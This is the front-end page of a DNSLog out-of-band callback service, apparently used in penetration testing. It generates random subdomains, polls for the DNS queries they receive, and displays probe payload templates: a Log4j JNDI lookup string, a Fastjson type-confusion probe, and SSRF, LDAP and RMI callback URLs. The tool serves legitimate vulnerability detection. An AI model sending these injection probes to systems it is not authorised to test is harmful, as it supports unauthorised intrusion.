<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <title>DNSLog</title>
    <meta name="keywords" content="dnslog"/>
    <meta name="description" content="dnslog"/>
    <script src="../js/vue.js"></script>
    <script src="../js/axios.min.js"></script>
</head>
<body>
<div id=header style="text-align:center">
    <hr style=" height:2px;border:none;border-top:2px dashed #87CEFA;"/>
    <br>
</div>
<div style="text-align:center;" id="app">
    <button type="button" v-on:click="GetDomain">刷新记录</button>
    <button type="button" v-on:click="GenPayload">复制随机子域名</button>
    <button type="button" v-on:click="Clean">清空</button>
    <br><br>
    <div id="myDomain">{{ randDomain }}</div>
    <template v-if="randDomain !== ''" v-for="(item,key) in payload">
        <div>{{key}}: <code>{{item.replace("domain", randDomain)}}</code></div>
    </template>
    <br>
    <center>
        <table id="myRecords" width=50% border="0" cellpadding="5" cellspacing="1" bgcolor="#EFF3FF"
               style="word-break:break-all; word-wrap:break-all;">
            <tr bgcolor="#ADD3EF">
                <th align="center">DNS Query Record</th>
                <th align="center">Type</th>
                <th align="center">IP Address</th>
                <th align="center">IP Location</th>
                <th align="center">Created Time</th>
            </tr>
            <td v-if="DnsData == ''" colspan="3" align="center">No Data</td>
            <tr v-for="item in DnsData">
                <td align="center">{{ item.Subdomain }}</td>
                <td align="center">{{ item.Type }}</td>
                <td align="center">{{ item.Ipaddress }}</td>
                <td align="center">{{ item.IpLocation }}</td>
                <td align="center">{{ item.Time }}</td>
            </tr>
        </table>

    </center>
</div>
</body>
<br>
<br>
<br>
<br>
<br>
<br>
<div id=footer>
    <hr style=" height:2px;border:none;border-top:2px dashed #87CEFA;"/>
    <br>
    <center><span style="color:#ADD3EF">DNSLog</span></center>
</div>
<script>
    function formatTimeToStr(date) {
        date = date * 1000
        date = new Date(date)
        var fmt = "mm-dd HH:MM:SS"
        let ret;
        const opt = {
            "Y+": date.getFullYear().toString(),        // 年
            "m+": (date.getMonth() + 1).toString(),     // 月
            "d+": date.getDate().toString(),            // 日
            "H+": date.getHours().toString(),           // 时
            "M+": date.getMinutes().toString(),         // 分
            "S+": date.getSeconds().toString()          // 秒
            // 有其他格式化字符需求可以继续添加，必须转化成字符串
        };
        for (let k in opt) {
            ret = new RegExp("(" + k + ")").exec(fmt);
            if (ret) {
                fmt = fmt.replace(ret[1], (ret[1].length == 1) ? (opt[k]) : (opt[k].padStart(ret[1].length, "0")))
            }
            ;
        }
        ;
        return fmt;
    }

    function randomStr() {
        const chars = 'abcdefhijkmnprstwxyz1234567890';
        let randStr = "";
        for (i = 0; i < 5; i++) {
            randStr += chars.charAt(Math.floor(Math.random() * chars.length));
        }
        return randStr
    }
</script>
<script>
    var app = new Vue({
        el: '#app',
        data: {
            DnsData: "",
            Token: "",
            domain: "",
            randDomain: "",
            payload: {
                "Log4j": "${jndi:ldap://domain:9999/aaa}",
                "Fastjson": '{"@type":"java.net.Inet4Address","val":"domain"}',
                "SSRF": "",
            },
        },
        methods: {
            GetDomain: function () {
                axios.get("/api/getDnsData", {
                    headers: {
                        'token': this.Token
                    }
                }).then(
                    res => {
                        console.log(res.data);
                        if (res.data.code !== 200) {
                            alert("token错误");
                            localStorage.clear();
                            location.reload()
                            return
                        }
                        console.log(res['data'])
                        if (res['data']['data'].length > 0) {
                            // let DnsData = JSON.parse(res['data']['data']).reverse();
                            for (let i = 0; i < res['data']['data'].length; i++) {
                                res['data']['data'][i].Time = formatTimeToStr(res['data']['data'][i].Time)
                            }
                            this.DnsData = res['data']['data']
                        } else {
                            this.DnsData = ""
                        }
                    }
                )
            },
            Clean: function () {
                axios.get("/api/clean", {
                    headers: {
                        'token': this.Token
                    }
                }).then()
                this.DnsData = ""
            },
            GenPayload: function () {
                let randDomain = randomStr() + "." + this.domain;
                let domUrl = document.createElement("input");
                domUrl.value = randDomain;
                domUrl.id = "creatDom";
                document.body.appendChild(domUrl);
                domUrl.select(); // 选择对象
                document.execCommand("Copy"); // 执行浏览器复制命令
                let creatDom = document.getElementById("creatDom");
                creatDom.parentNode.removeChild(creatDom);
                let subdomain = this.domain.split(".")[0]
                this.payload["SSRF"] = location.protocol + "//" + location.host + "/" + subdomain + "/"
                this.payload["LDAP"] = 'ldap://' + location.host + '/' + subdomain
                this.payload["RMI"] = 'rmi://' + location.host + '/' + subdomain
                app.randDomain = randDomain
                alert("复制成功");
            }
        },
        mounted() {
            let token;
            if (localStorage.getItem("token") == null) {
                token = prompt("请输入Token")
                let data = {"token": token};
                axios.post("/api/verifyToken", data)
                    .then(res => {
                        if (res.data.code === 200) {
                            this.Token = token
                            localStorage.setItem("token", token);
                            this.domain = res.data.data.subdomain;
                            localStorage.setItem("domain", this.domain);
                        } else {
                            alert("token错误")
                            location.reload()
                        }
                    })
            } else {
                this.Token = localStorage.getItem("token")
                this.domain = localStorage.getItem("domain")
            }
        },
    });
    setInterval("app.GetDomain()", 3000);
</script>

</html>